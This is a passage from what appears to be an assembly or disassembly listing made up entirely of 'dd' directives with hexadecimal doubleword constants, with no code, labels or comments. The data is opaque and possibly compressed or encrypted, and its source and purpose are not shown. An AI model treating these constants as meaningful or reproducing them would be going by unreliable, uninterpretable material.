4F61CCC5h, 0F1663A81h, 31710C20h dd 0CE182480h, 0D5088821h, 99313D2Fh, 8C9D5F20h, 18168C08h dd 8F86304h, 1818720Dh, 7A08CAACh, 0F35A8001h, 0C4348380h dd 4A43728h, 380CD84Dh, 4662E359h, 2A01420h, 2B02A352h dd 0D0C003E2h, 43D95162h, 0FBE102BFh, 32E0DC03h, 0FA10F481h dd 0CC069CA3h, 0EACCB144h, 7F202E65h, 0FC978C4Ah, 20E9B999h dd 7D9F2188h, 54C7203Dh, 0FBBEBC6Eh, 3ED0D01h, 51A91893h dd 137B3811h, 91F708DEh, 0F104FDD4h, 3CD54805h, 0F608079h dd 0D9B808CCh, 44BB406Ch, 5408E962h, 0D17202EBh, 297D902h dd 8F03A127h, 0DD60104Ch, 947F2ABEh, 0F2D44454h, 3408B163h dd 0C281910h, 882408F6h, 0CF0CA61h, 76D9AAE0h, 0C6FA4E80h dd 8F22E28h, 1033AC20h, 2031E15Ch, 75B43209h, 5049E831h dd 0BCA701C0h, 1B2BA01h dd 0E9909845h, 1E3318D6h, 0C9493F50h, 0B0220808h, 6A06789Dh dd 0EA5D31B1h, 88B54810h, 0C0BC608h, 0D4203595h, 7FD9A9C6h dd 0F1216218h, 0CC044005h, 8F194C95h, 80245510h, 5C11C5DAh dd 0F4E0559Ch, 24CB7F10h, 3295D806h, 0E7C815E4h, 0B0B05490h dd 0CA70D840h, 9584F1C9h, 2D11D426h, 5399669Fh, 0C4BD20E1h dd 54FE4320h, 4089C016h, 44925AB7h, 20111820h, 0CE33E452h dd 20E629D4h, 5E2001E9h, 120D3346h, 81196C08h, 0C111694h dd 192AE303h, 5820C49Eh, 143E3205h, 0BE024F71h, 0DF8702D3h dd 10AEE900h, 8CA0951Ah, 641575EAh, 3B88659h, 0FCBD7440h dd 0E7102C8Dh, 3097008Bh, 797B267Eh, 9DCD3717h, 2BE16C40h dd 0ECB53604h, 0BBFF00DBh, 987E709Bh, 7F0424CEh, 0CC792DE6h dd 590C40AFh, 0D3227371h, 89338107h, 0EA40560Dh, 307A825Eh dd 0F52863C9h, 840085E5h, 373A08DEh, 305CF16h, 0B26DD8E8h dd 7FF8966Eh, 0D01611Fh, 7E0182FBh, 83CCDC06h, 691801F9h dd 0C07A84EBh, 15A8807Bh, 160F35F4h, 0E97D006Eh, 9C2EE077h dd 1A2A284Eh, 0ED0784A3h, 0CC1EC975h, 7CB24240h, 915700CDh dd 5EE3DDD7h, 8338F203h, 0E8004F16h, 6328469Ch, 0B27805h dd 8CB0D171h, 0D602AC7h, 0DD79CFF2h, 70387266h, 0B7B06C9h dd 0E825FEFCh, 5C33DD18h, 1E6E8920h, 9E57DCFFh, 0AE993D08h dd 8B3A98DAh, 50BBDBB8h, 3D680060h, 3BBDA280h, 1C3D71EDh dd 2FCF006Bh, 0DF8EE5F1h, 58F21D7Bh, 72601CCDh, 64D8F368h dd 0E0B5532Eh, 0CD287F07h, 34B49C7h, 0D072160Eh, 30DB6CCFh dd 6268AFEBh, 0E30F1A05h, 8915FF35h, 0B258C097h, 142EBF3Fh dd 7C30E3C0h, 0B4A1D3E9h, 1E1C2DB3h, 62C52303h, 0D8902ECCh dd 76D3F32h, 6E24DE7Dh, 0D75220FBh, 0C262ACDBh, 0C88B9920h dd 0A0169C05h, 808A68CCh, 8300CDD4h, 0D5A3BBEh, 60637B07h dd 7C6A70AEh, 6C71EB15h, 67551B01h, 0AD7A4BDAh, 0F37DA180h dd 2EDD8288h, 0E2CD8C28h, 14EAF73Ch, 6BC35A1h, 0F5F61A6Ch dd 83D51679h, 7CA0B46Fh, 68AD3530h, 0C0791A5Ah, 24D67B30h dd 0E351F8DDh, 0E419E1D4h, 0D2002BCCh, 18C38B07h, 0F2EAB4FFh dd 6DE884h, 83459CC4h, 26703210h, 4829E03h, 0F89AB958h dd 0BCC6E6DBh, 3B831CC0h, 0F6980C83h, 0A8101C03h, 0C51F563Dh dd 7BD809Eh, 507E0B3Ah, 48B68AA1h, 0EC0027B8h, 725B6DFEh dd 557FB63h, 7AF5142Dh, 77BC00DAh, 816F024h, 28608661h dd 60209A85h, 267A187Fh, 0C2F0E87Dh, 3738B276h, 149C3E54h dd 3FF8B028h, 1518C91Ch, 0D4951Ah, 8919B984h, 623F48Ch dd 6EDDE717h, 5901B0A5h, 845252Dh, 719835CDh, 0DDAC11E1h dd 0B8C01090h, 1617385Eh, 48997D6Dh, 0B0C90068h, 81083C04h dd 80514BE4h, 7E6E67E8h, 384446h, 0DF751F77h, 0D6976496h dd 50793700h, 2A2B1C83h, 0D9A7075Bh, 0A0B9DEB5h, 3BC4D708h dd 84DBBD12h, 483870A0h, 661EAC1Fh, 0AF050006h, 0DD8E1971h dd 0DC75E63Eh, 5CEF03E2h, 708FFC1Ah, 0BD371FF1h, 6C83C3F6h dd 0E6A8F769h, 94A41E9Dh, 5D5218C0h, 94CA412h, 0C5FC68D6h dd 3F8F2C88h, 61A5606h, 0EC02506Fh, 0FB88F442h, 1640765Ch dd 2C5614DDh, 1D48324h, 38D05863h, 0D913E051h, 0E1294600h dd 7664CCEBh, 1B4A07F1h, 9ACF7B17h, 0BE7701E0h, 53468230h dd 0D887F3B8h, 263B08h, 68EE011Bh, 2D3EADC6h, 620200C1h dd 0ED9A0E74h, 2BEB0103h, 79A9827Ch, 1A1FF83Ah, 3D97F900h dd 0FFFBFE83h, 3E1DE691h, 2181D3ECh, 0BB7A9963h, 6F8087B8h dd 72E00C7Ch, 3E88C116h, 760EC5B7h, 7BC2D764h, 0E4812897h dd 0D217C991h, 3C40A1EAh, 5B04B86Fh, 0DE288822h, 0C1408D5h dd 1004D308h, 0CF002685h, 1A8BEA1Eh, 0D242DB13h, 0DC609440h dd 9B08D85Eh, 129B12A8h, 233C2048h, 6C919D01h, 79D481A5h dd 28BA8AB7h, 24886881h, 70D2DA9Ch, 18C7B0C1h, 6BB4C681h dd 0BB83F881h, 8904BC22h, 807AFFF9h, 5C58ECC8h, 1303D3Ah dd 6224BE7Bh, 0D4203AD8h, 1A65E8AEh, 5082FFDCh, 24707C8Ah dd 14081289h, 0F61074ACh, 0E1720153h, 9AE2FC0Ah, 387DAC41h dd 40B4E830h, 5696E74h, 292002D0h, 7AE30F28h, 20125F8Dh dd 2443805Ah, 491918DBh, 3961F420h, 0A1C35BDDh, 46646820h dd 9002330Bh, 9441CCE0h, 0A507893h, 0DC0E251Ah, 3C980316h dd 3AF401FDh, 63DDEB7Ch, 0D8E8A45Ah, 83EC7100h, 951E1Fh dd 0BA0272B8h, 4059326Bh, 188C2B0Fh, 0A21A6233h, 44F880AAh dd 0D5FCDDh, 3B6BF36Fh, 0CD2075D3h, 22304709h, 0C7D00094h dd 1CC663h, 9828A95h, 816B9F44h, 0A60FDB15h, 0F4A87A78h dd 2E07677Ah, 9A8D8242h, 887E3BFh, 5A1AA062h, 0E878C0A3h dd 0C7FBBB75h, 0C2769E24h, 1ECB507h, 0F8036CA0h, 79640BEAh dd 9460781Ah, 455917E1h, 0CD300B34h, 13F05A4Dh, 45C565FDh dd 0C0D48898h, 597A803Ah, 53202B60h, 5C9A0183h, 431DB05Ch dd 78B10002h, 41C060Eh, 170B7D04h, 3CD075A5h, 1447EE07h dd 0F51B7C2Fh, 40412725h, 10A8321Dh, 8300286Bh, 732BA6Dh dd 0C57F7BDEh, 0E075F0EDh, 1A06C4B1h, 7A58675Fh, 0E828599Eh dd 0F87B6480h, 7206E79Ah, 9FF57A8Ah, 10C84341h, 0D002A24Ah dd 3EAFE77Dh, 5DEFDD10h, 0D44878A8h, 1D074501h, 308969D5h dd 0DB17F368h, 840D9CFh, 997A6F50h, 2C4E0020h, 0FA0BEABDh dd 417E45AFh, 0B60C958h, 585717F7h, 6DEA12E8h, 82B7090Dh dd 451D6C50h, 8BEC87C1h, 49ECAA00h, 0C40423DBh, 930F59A9h dd 7820E854h, 0D66800CBh, 7BF0FF6Ch, 48C902FDh, 8594857Fh dd 7A72A881h, 0EC6F89F0h, 6AD13966h, 78605B03h, 9898B782h dd 530CA66Bh, 606E7B0Ah, 0E3B40909h, 2000C42Dh, 9667CA19h dd 5E42AF00h, 6BB8C392h, 940430DBh, 0C6D38B80h, 6632B60Eh dd 0D6A9DCh, 8F2D72C4h, 1A741365h, 6F0CA0CCh, 7F5ED000h dd 3ADC7AD3h, 0E6D3845h, 4E99B1Fh, 93098387h, 0C0597EB9h dd 10548B08h, 0C28488D8h, 1DD31A18h, 77D7A868h, 0F76073F0h dd 6A28FE11h, 5480087h, 83B1CFE2h, 880374D4h, 827B1A03h dd 6A581306h, 46540478h, 580C808Bh, 2405CEF9h, 0ACADBAEh dd 0EA13A484h, 40178400h, 1AC7261Ch, 30A6067Bh, 4817742h dd 34A94EDDh, 0AE3AB484h, 9C991DF4h, 24804EFCh, 92F9A6DBh dd 50773C14h, 0B4D5B17h, 60A17DD4h, 9212DA99h, 0E48626C1h dd 0B7843CE1h, 0AAC93C00h, 5A7B0903h, 4780A964h, 700C6CCAh dd 4550028Bh, 0BCB7A1Bh, 0C72FE9E8h, 2C035EE8h, 78EAF9h dd 23F4889h, 0B01F80Eh, 0F6606FEDh, 0AC121C3h, 140AFE0h dd 0EE53B80Dh, 30310C1Dh, 688A6540h, 0F2DB6720h, 134492AEh dd 9B89BDh, 0BCC9B78Eh, 1DECF5A0h, 42091B01h, 71D303C4h dd 0E079A420h, 0B121267h, 4FB800EFh, 1D82324Ah, 283151Fh dd 8498DB1Eh, 78B258h, 6B95D5D1h, 0C73512F4h, 12881659h dd 0E421CA74h, 80400FACh, 900DCD1Ah, 0B8850E64h, 89497B08h dd 469EE882h, 0A34C106Eh, 0C89D2C38h, 0BAB1B400h, 92181A6Dh dd 9E12424h, 1860A5CCh, 152ADDD4h, 0AE02F499h, 2EDB915Bh dd 2F14410Ch, 1483EC40h, 7616E84Eh, 383CE0C2h, 3809ED3h dd 0E175EA20h, 5506D252h, 936919FBh, 0CFD60068h, 338697ACh dd 530EF583h, 0C0EAEF8Fh, 0C1CEC507h, 251B76E3h, 0FCA845EDh dd 7B638780h, 0A8BA2210h, 81660840h, 6524D61Fh, 0F8140F13h dd 636E80A0h, 0B2B94AD8h dd 18656792h, 2ADCB2CDh, 0F4D4E840h, 7858A182h, 0E07DFE89h dd 0B4D26414h, 6F58DA81h, 0FC02974h, 78297A89h, 4BDB6C80h dd 826CC0E0h, 99F0C0AEh, 88075094h, 0F583E302h, 641001A8h dd 1AC7312Dh, 0B26BF003h, 2FF07D1Fh, 121DC340h, 0AA95DA17h dd 82386090h, 24DCA44Bh, 9548C9F5h, 5A82E86Ch, 4EAF2D6h dd 6DB00CC1h, 158300F0h, 0C0354043h, 71CC00D2h, 423741DBh dd 0F9386572h, 0DC82010Dh, 0E50649F4h, 2A2FFh, 5A324D7Fh dd 0DD16750Bh, 83E8E0E4h, 93AC966Eh, 0E2380036h, 0B559161Ch dd 0A12448B8h, 0C30F143Ch, 950C9E19h, 0A7938F0h, 0C974643Ah dd 44B242A8h, 90B608Bh, 582B8C07h, 0E0FACC00h, 7BCFFCBEh dd 2511D4Fh, 1BDC49E2h, 6668B4D0h, 690020A0h, 0B7CC3ACFh dd 0D81A184Ah, 0A24E1850h, 8B194700h, 0C217E9E5h, 4E808291h dd 0AF331A71h, 0B49410DEh, 97450EA8h, 1D3A8029h, 0E76F17C2h dd 75E72083h, 7CB014BFh, 4C078035h, 108803E5h, 0C7F7C9C0h dd 2C455857h, 0ECD10700h, 61B04EDh, 0F528DDE8h, 0A00080D4h dd 746750E2h, 2568B080h, 9009E5DBh, 0A4532C24h, 0CF007E68h dd 62687951h, 25DDFD50h, 4041987Bh, 82CC38B1h, 8977E718h dd 28A380A8h, 60897A85h, 0DB51289Eh, 60C199ABh, 81163CE0h dd 0C08F030h, 6AF417E3h, 1F39EAF9h, 46BA81F2h, 12B37A7Ch dd 920060BAh, 0C3604A9Eh, 75000614h, 158929BEh, 9DBA1A3Dh dd 6DDFB400h, 0C562C2DBh, 64228568h, 0E0B20C0h, 0D4384626h dd 14022610h, 0D8D3DB16h, 0F73E0048h, 27C95A88h, 0CC2908C8h dd 58A174CBh, 5CE8ACCDh, 1F044825h, 87BC9416h, 1C5D1A6Eh dd 88034A48h, 75366C85h, 14DB0Dh, 3A511C40h, 59042983h dd 71BCA600h, 70B23DEAh, 6ADB00B9h, 9111F47Ah, 50FDD102h dd 24D55398h, 83204725h, 1C5B3508h, 4595C02h, 81B67B57h dd 571C8378h, 0C0ED04C8h, 6FB9C74h, 76324212h, 1E087810h dd 6C2C9A1Ah, 0A06CBB80h, 908140C8h, 88CCB3D8h, 0ED1343E0h dd 307BD442h, 4C14506Ah, 0B08800BDh, 24E67D01h, 30685E6Eh dd 0A7810674h, 501B57DDh, 8B1A6608h, 13B81F45h, 8170E147h dd 5C162730h, 803329EBh, 1F81D407h, 43660024h, 1A3907D5h dd 86406126h, 0DC6208DEh, 37CE7B12h, 0E7147148h, 50DC50F5h dd 6CA6E681h, 0F940B210h, 0D1672A78h, 4A252078h, 40C19B4Eh dd 0EC005E81h, 3A4D7DDDh, 1180128h, 0FAB8E275h, 7AFBDF0h dd 0C9FC16BFh, 0B24761DCh, 110BDF7h, 1A4DC1CBh, 58852892h dd 4481BA24h, 32585D8h, 0C2EE1B7Ch, 59C7E75h, 806E46DBh dd 0DC3A9168h, 58D26F09h, 32D8607Eh, 8CAC9EDAh, 79885E24h dd 0DC048300h, 846F55BAh, 5D6C096Dh, 642CC431h, 0FF09C570h dd 5430FD19h, 49E8A2B4h, 7D3FD476h, 0CCD58480h, 89E6DDA9h dd 7000C898h, 212083E7h, 78CBDE60h, 8272041Bh, 88B5527Ah dd 974084F0h, 5EE50269h, 0DE82743Fh, 0F4DBC890h, 2E4B009Ah dd 5AD334D1h, 0BE811041h, 7C378841h, 53DE886Dh, 7A0449EAh dd 5AECC000h, 28CB9052h, 6480837Bh, 6A51906Dh, 0D3D907C7h dd 0F0F5ADCDh, 7AF87BECh, 4069B937h, 8CC71675h, 667C4000h dd 3CDB18E1h, 41B190C4h, 74E5EB78h, 0FB388278h, 2A30278Fh dd 3A0F8494h, 836CE1C7h, 0E7C04E70h, 7DD10E33h, 19F80EEh dd 50EDFF7Bh, 94566172h, 1878F928h, 0CCC9DD7Ch, 5ED5008Ch dd 42B24340h, 47010EC8h, 17F64532h, 0CC246113h, 0A77D39DCh dd 18836F00h, 0A24B3611h, 7665FB18h, 5064DD48h, 4E7A8477h dd 0BD135Fh, 1884F7A4h, 0ED04FAA1h, 0F6E38388h, 54E530C0h dd 4F04B029h, 73180032h, 0BA2B746Ah, 6F7BC713h, 0CB65F8C0h dd 1F137CB7h, 246B1A73h, 8424918h, 3C44EC1Ah, 7EBED730h dd 6CF8AC6h, 201A30C0h, 0B5003819h, 83FE0E8Eh, 6241006h dd 0ED3BDC58h, 8C08108h, 0D27B3105h, 7580C0B4h, 67C89BE3h dd 827A5A03h, 907F37B5h, 21F838Ah, 65401170h, 58E0BF02h dd 6A16227Ch, 8010D332h, 5A041EFEh, 7A6E173Fh, 62389022h dd 9318CC48h, 0C1DB05E0h, 87D402B0h, 6EC00243h, 8400BD58h dd 0D765AB19h, 1ED848D5h, 0F0111A0Ah, 66174C40h, 35DBBA0Eh dd 7400DCC3h, 7B6E6913h, 0DA496Bh, 25761803h, 6DD9C445h dd 0DDE085D8h, 0A0071D9Fh, 8323D71Fh, 0F870A08Ch, 0F9CE1F22h dd 886F028Ah, 0C84827C1h, 0B101D831h, 623A7381h, 5832C374h dd 0F97AB00Bh, 54578A5h, 16FE35D0h, 0C7C0206Ch, 3709F9E5h dd 0A42217DBh, 0DD214580h, 0FC096F8Bh, 12A4D207h, 4B42DC1Ah dd 0E090B844h, 0F8A0DD59h, 20903DB5h, 9D4A21E4h, 0CE3E874h dd 6D50025Eh, 0B450571Ah, 17097C94h, 0DF6C4043h, 0BC544CF3h dd 12040724h, 92C40471h, 0E411BFh, 75EE0203h, 92A42C3h dd 82894172h, 7353AC44h, 0CB1721F4h, 13B1404h, 0B6DBD99Ch dd 0E59901C6h, 1E19996Fh, 1EA9A28h, 515B7CE1h, 0C0B290h dd 9424C553h, 0C23CA810h, 0B2DEE220h, 7068E85h, 0C04C08FAh dd 24F7DC72h, 0E4CBA0CBh, 0E480A058h, 61D8B453h, 56EA865Ch dd 0DB18C098h, 5B11F13Eh, 42249E7Eh, 86C01A2Eh, 99EA3693h dd 0F5F40901h, 1D48890Ch, 36910850h, 0F2781223h, 604CA5F6h dd 34C677Ch, 8AC38548h, 31DBB0B0h, 0AC187EB5h, 4CD072C7h dd 0ADC20D0h, 0B7828878h, 807740B8h, 6901A6FBh, 0C36FF56Dh dd 38701C0Dh, 57950224h, 16D117C8h, 83A3F0A4h, 0BBD3528h dd 64A5E8F0h, 43B81633h, 0B2BCDB70h, 6F398000h, 0ED8AE77Dh dd 2EA803F6h, 0E809DC4Bh, 7D998865h, 0C1A90487h, 4C72E728h dd 0D07EBE1Ah, 498884AEh, 7A5BB020h, 0DA879406h, 68790048h dd 0C6E63B82h, 0EA00D783h, 8938D62Eh, 740915h, 63FFA3E1h dd 0A79D1A08h, 500AC8CDh, 0C1D32422h, 12711758h, 0F8D8D247h dd 22840E0Dh, 0C169DB0Ah, 388BC2Ah, 892D8848h, 31725AE1h dd 0E2D02080h, 0ED23041Eh, 6CFF640h, 781C84E3h, 0D9BE009Ch dd 0E2B6B888h, 0F3B86F75h, 5320E490h, 13F4E44Dh, 0C082A77Ah dd 70A0DB88h, 532958C0h, 961E68DCh, 24D603C0h, 0F881FECh dd 7C01746Dh, 4D3463FBh, 586053D8h, 32501692h, 0C0F0169Dh dd 8BF3411Ch, 0DB3ED004h, 94D1DC05h, 7CC4F5E6h, 4825597Ah dd 0F2F95A30h, 2461E51Bh, 0EB2C2150h, 9DD1F520h, 42F46840h dd 0E7CA741Eh, 339EDF00h, 1C842B62h, 836FDA02h, 76AE4050h dd 0ECC036F2h, 991EFFE1h, 4E1B7BEEh, 6FCD860h, 745800EDh dd 0CA12E961h, 0AC586217h, 50388954h, 5E0A4464h, 0DC403A0Bh dd 4BCC10Eh, 5C6180EFh, 0BCEE48F6h, 121A74C1h, 4D90765Fh dd 3802D678h, 71AFE97Dh, 9C7C2818h, 16274480h, 0C00E1512h dd 11EB4619h, 47CF0128h, 534CBD94h, 76E05207h, 6FA0610Bh dd 0B40F283Ch, 0B2730E9h, 0A6471F9h, 9470A6F1h, 0C90750A8h dd 7E9BE013h, 546A7DC0h, 78FC90AEh, 84550F2h, 98304A7Fh dd 0B49879E8h, 5F8C33E7h, 82838842h, 0BC1488B8h, 404E5C2Ch dd 34E065F0h, 535816h, 0D0584713h, 19548BD8h, 3708B496h dd 5C002F14h, 0ECDBEA71h, 0B4924Dh, 8A9AF4FFh, 9483DDEBh dd 211B00A4h, 7FECF5EAh, 8E8C4A00h, 0E3B53C26h, 0CF7C182Eh dd 0D3655055h, 0BD834500h, 0DC4324F5h, 408F609Ch, 0F03D5C79h dd 0B50080FAh, 3CF984B6h, 2B2ED1Ah, 0E1721E78h, 84847E07h dd 5EB10085h, 94A7DBA5h, 9C8C0BB0h, 48AB1027h, 0DBE52401h dd 850229B4h, 0B20974D8h dd 814C0275h, 21BFDD3Bh, 330EC34h, 0E26BC52Bh, 0DFE3447Bh dd 997338A0h, 0B48ED226h, 204A6189h, 0F5AEDB14h, 6C525DA0h dd 12202C00h, 0EAF87BB9h, 0DAC27500h, 77221AF5h, 0FDDF0042h dd 90D67DB1h, 0DD24037Bh, 5783E4CAh, 0B1E3EFE6h, 52BB21Ah dd 0C0E47270h, 153B2690h, 54CC976h, 0C5BD0F5Eh, 0F0072DDBh dd 1C2ED841h, 0AFE50B00h, 37435801h, 7BDDC72Fh, 23AC85E2h dd 8783B887h, 83102494h, 3980042Fh, 51A0BD7Bh, 0FBA42098h dd 0A6902200h, 0BA71ED9Ah, 1858B256h, 0F941977Bh, 0E1001FE9h dd 44B264A1h, 3E276314h, 0FC62B5C3h, 22DF77D8h, 0C424B658h dd 1564B058h, 0A429D699h, 0C0857212h, 0BB17C47Ch, 82503A5Ch dd 0C022ECA8h, 24EA1F02h, 80648EDDh, 5A756974h, 7A129123h dd 70909E2Ah, 0A0B5167Dh, 805F15A0h, 190072D1h, 71EA036Dh dd 78D79A80h, 4F49983h, 880ADF86h, 9A178BF0h, 0BC80282Eh dd 0E643AD6h, 50E16C5Bh, 0DDCCC196h, 243CABh, 49076677h dd 0CF8284B5h, 8E7EC2EAh, 6BE11383h, 0C043DAE1h, 703E7607h dd 6007AE8h, 28F11FAh, 251A6FDCh, 2842A541h, 34926459h dd 8C50E013h, 0C07496A0h, 0F7BD401h, 0F022CCD6h, 241A7A04h dd 0B49E0A67h, 0C4484D8Bh, 0EA7D25DCh, 0B202B4E6h, 0B12BA57Ah dd 9B6440DCh, 23CF008Ch, 0D2674432h, 0F403D9D3h, 7E7A7734h dd 0FCF0E58Fh, 0B4831410h, 0DC5C808h, 70F0804Eh, 0CB26DBEDh dd 7E8D10E9h, 0C840818Dh, 48F92D69h, 441AA8D2h, 88F850A0h dd 68B1CF00h, 5362168Ah, 0F61F2695h, 207F89A0h, 9A81F410h dd 6831D24Ah, 0D9073F72h, 9E252C58h, 54D868F6h, 0D0343020h dd 5EEB7208h, 979B8224h, 2E7B0405h, 0DB643C90h, 14189C38h dd 7012BCACh, 1D54A3B2h, 0B12D2261h, 0AC33844Ch, 28A97D32h dd 0FB655641h, 8369D818h, 17973118h, 126A0501h, 7B20E0C8h dd 6F304654h, 38003B5Bh, 86DC0B32h, 4CB4B6EEh, 4150AF5Eh dd 164C7718h, 3D72DA4h, 0D0CAB0D8h, 78352EAh, 81F7C81Ch dd 7E0860BEh, 4216487Ch, 58131F03h, 60B1C4A0h, 1A77B928h dd 0D1C0C0F6h, 102D23B4h, 1009859h, 754FF911h, 0F84DB1CEh dd 0DB12483Eh, 34D1BEB0h, 0E8E98C0Ah, 58316D31h, 767F0802h dd 80541228h, 76C56B44h, 8955D93Ah, 800A6102h, 1FC26050h dd 75C00469h, 0E0F1290Dh, 0C9C00659h, 0E9FF9A3Eh, 6607123Bh dd 0F918C2E2h, 30CD0460h, 141CC80h, 792772F5h, 8071AB7Ah dd 0E120B3D8h, 2D031635h, 0F004E929h, 0E2B098EDh, 0A8744524h dd 0DBEC81C9h, 1080CE0Ah, 0D95AD382h, 8D0B33A3h, 61261A6Ch dd 442186ECh, 3B40F5h, 7B69EB9Ch, 0B948830Bh, 0D65C8208h dd 0F2C9004h, 7B3280F9h, 9E5ADC13h, 45BED490h, 4CA400F8h dd 58962AB7h, 870BC1F4h, 71EC02h, 7677E950h, 0CF691919h dd 60DAB12Fh, 180083C7h, 91D1511Dh, 7C306B1Ah, 0C0EE4B87h dd 0EA8DF37Ch, 59057B1Eh, 4A78A527h, 0F700F4E2h, 281E8088h dd 69093685h, 0B9C2762Ch, 0C0882F34h, 7800DD96h, 0A172BF82h dd 2087489Eh, 7C1CF310h, 386149D6h, 8933ADBh, 650CE105h dd 0D9574084h, 0E04EDC79h, 0E7CC8CC0h, 981602DFh, 6F6D462Fh dd 1A16C864h, 0CC9290Ah, 6E1C3C2Ch, 30280199h, 0F5B5E6B7h dd 40C8202Dh, 4E6A3200h, 7441B276h, 0F5F10F6Eh, 9AE0177Dh dd 42326FDAh, 2C047E4Bh, 7D009248h, 20D17C1h, 4903C4BAh dd 0A07A8928h, 0CA200095h, 0F388B904h, 874FAADBh, 401FB48Ch dd 77003196h, 1C14846Ch, 0CFE762DDh, 215383D8h, 8CCD318h dd 894B32DBh, 0A0547F38h, 0D6F37C86h, 34585970h, 89305850h dd 814CF11Ah, 734B3D48h, 0BCE82F62h, 0C4D50087h, 7AD28C81h dd 4F3A3AE3h, 59398265h, 5B35187Dh, 0D481896Ch, 0FB296802h dd 0E9E84C80h, 30B71C1h, 0A7B17B01h, 0C6068D0h, 910743FCh dd 0C99CAE20h, 82744C2h, 0FBCDAF20h, 0C4072EB8h, 0E134F51Bh dd 71C920FCh, 0C8422CECh, 0DB9A7C07h, 0D018EB83h, 0AC200803h dd 381A19C7h, 7C361810h, 4E12548h, 94C0CEE8h, 8089499Ah dd 1E60BB7Ch, 0D7B6760h, 45749C83h, 7A00C289h, 0DDEC3CC0h dd 440C3EF5h, 240521CFh, 0BB07B2Fh, 7701DB20h, 6DE53A6Ch dd 0D0A41368h, 40A9BCF0h, 62761ACBh, 0EDC4895h, 58101391h dd 7351E0Dh, 82A70A16h, 60631E1Bh, 71704A61h, 7872EB1Ah dd 6C4C5C4Ch, 740B3889h, 7B1868EFh, 0A0C775C1h, 207A7F10h dd 511C6943h, 7C171689h, 80D2DC0Bh, 801CC490h, 5D37008Eh dd 510836Ch, 0E776C812h, 0C118BC7Bh, 1E184E82h, 0F1A00973h dd 6CF8B27Bh, 89C66800h, 0DA27E99Ch, 41DC7478h, 74653FBFh dd 0AF813480h, 22DB1478h, 8517A87Eh, 1A0C0402h, 540412CAh dd 77012A80h, 3F822EDCh, 8216344Bh, 2959D85Ch, 0FB7B2C00h dd 0EF011BFEh, 0FC0D5019h, 8960882h, 4BA71F46h, 247EF5EAh dd 75DB5102h, 0FA40EBDFh, 0F182A83h, 4732E91Ah, 83308AF4h dd 20134419h, 0C44F3D2h, 40BA3DABh, 0B819E9B4h, 48983857h dd 1A50D49Eh, 0B82D5D67h, 82284603h, 648A6DCFh, 0DFC6044h dd 771054BEh, 7012842Dh, 2049F079h, 172EC5A0h, 0A0746461h dd 0DE890084h, 7965DA8Ah, 82153A6Dh, 0D2701C03h, 53A8D7C5h dd 2B00DBB5h, 72B9DD89h, 3BC4F962h, 0C3000217h, 0DBBF3B74h dd 80B2FB32h, 0CF2734B0h, 0FE348245h, 8244CEDh, 32B07A7Eh dd 0A501FC20h, 1A64CA20h, 0C8362B36h, 50EC49h, 9DB1365h dd 9035C8h, 0D9CFD59Dh, 8A01FBB7h, 37480D83h, 0DFD8EAE2h dd 0E13216A0h, 564134Ah, 8775F177h, 0EB70E37Ch, 2FF5117Ch dd 94614429h, 28253961h, 4F6CC45h, 0DB09005Ch, 90617C0Eh dd 0D3A473D1h, 909A80E4h, 7A660E34h, 0FB3EBF4Ch, 524562Eh dd 0F929FDDh, 7B4CDB94h, 60D9AD50h, 9BCC26B8h, 74DCECEEh dd 0F43205FDh, 0AD13B9DBh, 0C00D280h, 27624E70h, 9C11591Ah dd 0B3DDD10Fh, 3A6EB818h, 177C691Ch, 5FC0355h, 0A0FFDDE8h dd 0B4F1D453h, 1D8FCC69h, 0CB7A85A1h, 74036BB7h, 3E8EB2DBh dd 54105580h, 0C772016Fh, 109B7C2Fh, 12151084h, 0D28F8785h dd 0A4504C1Ah, 58A3B52Eh, 82071110h, 808429B2h, 7D462CAh dd 8D5441Ch, 48DDD783h, 74980488h, 95F8633Ah, 5C38B36Ch dd 0C5BC90A8h, 6C8DBE75h, 0E0F3B061h, 8DA44h, 0C3FD6072h dd 0DD74FF19h, 9267009h, 3EC5235h, 0F1C6E45h, 8F9CE91h dd 0E0203FE2h, 7E3FBF8h, 0AF073A78h, 31008EDFh, 8E8A4071h dd 0DBFE0105h, 0CC28BF24h, 1F605FDDh, 7B18039Ch, 0A027FE67h dd 6E8842F5h, 0C1364EA0h, 0B83CD720h, 75FE00B9h, 0EE0D0182h dd 84F54B1Fh, 0E4D0849Ch, 0E898FFA8h, 0AD17B009h, 9B4084DBh dd 7791F887h, 2C647BF9h, 4868E747h, 8807CF80h, 831F2D30h dd 0BC24026Dh, 0D4806C9h, 505B3039h, 0CADB5CC0h, 270850BBh dd 8B8242Fh, 62004C0Ch, 81D7CECCh, 0D5172D91h, 1AE11C02h dd 988988ABh, 0A8545482h, 744138DEh, 0C42730CAh, 976CA170h dd 0B5308C3Ch, 0F3643952h, 673AC907h, 7A21066Eh, 608375BDh dd 24D67D6Ch, 0DC1CD0E4h, 68C0439Eh, 507A3A72h, 0DE024DBh dd 0D831EB4h, 20384BA2h, 6F4E1743h, 0C81AE4C1h, 4F7F7030h dd 754C8C50h, 77385117h, 38E0870Ch, 40EB581Ch, 0B681E109h dd 288214B9h, 35BFC588h, 6C5D34F7h, 1A88024Fh, 0EC685BFCh dd 4CB972EBh, 4950991Eh, 0A1FB7C16h, 2E7442C4h, 8084B024h dd 12DD14B0h, 980379F4h dd 0CE18410h, 0B1334010h, 2116109Eh, 0DB1644B3h, 13C085D2h dd 0A14C9470h, 8B0F544h, 1A38B803h, 0C930C777h, 99876C5Ch dd 0E0491A68h, 3EB5D724h, 0D24CDF20h, 32617E74h, 0B9995C34h dd 83DC1012h, 688F0715h, 7B7BD3CEh, 5C6F50C0h, 401EA224h dd 2C0D267h, 0B224D4h, 543EB065h, 80D3410h, 3A0B9898h dd 854546CDh, 7CD6E5F9h, 0DC38AA90h, 0EBFB505Ch, 4F7F2C3Ch dd 0ED990845h, 8E7CA0D0h, 7288C7B0h, 0DB48E10Eh, 67BC40FCh dd 84B06C84h, 33A1BE1Dh, 14A5186Ch, 6B8905DCh, 0C1207AFFh dd 71C9804h, 0F36CCB60h, 1A030019h, 0B9E3B5E7h, 65F5DDD5h dd 0C66C30A0h, 0E0603300h, 71FCD643h, 94F6507Ch, 0B8AC0367h dd 68927AAEh, 0DB6B500Ah, 8B96F051h, 23F08891h, 7D50203Fh dd 914ADDEDh, 0B241A8C0h, 0FA320F74h, 0E5CB9ADFh, 0AE0B1480h dd 0DF64EEEh, 0AA71092Ch, 8E6A2900h, 78542DE8h, 0CE2100DAh dd 7A6586F7h, 4C928B69h, 8C01DF00h, 9A82FE63h, 90DB15DCh dd 5E09DC21h, 4100CC65h, 6C1C0A4Fh, 0E927F807h, 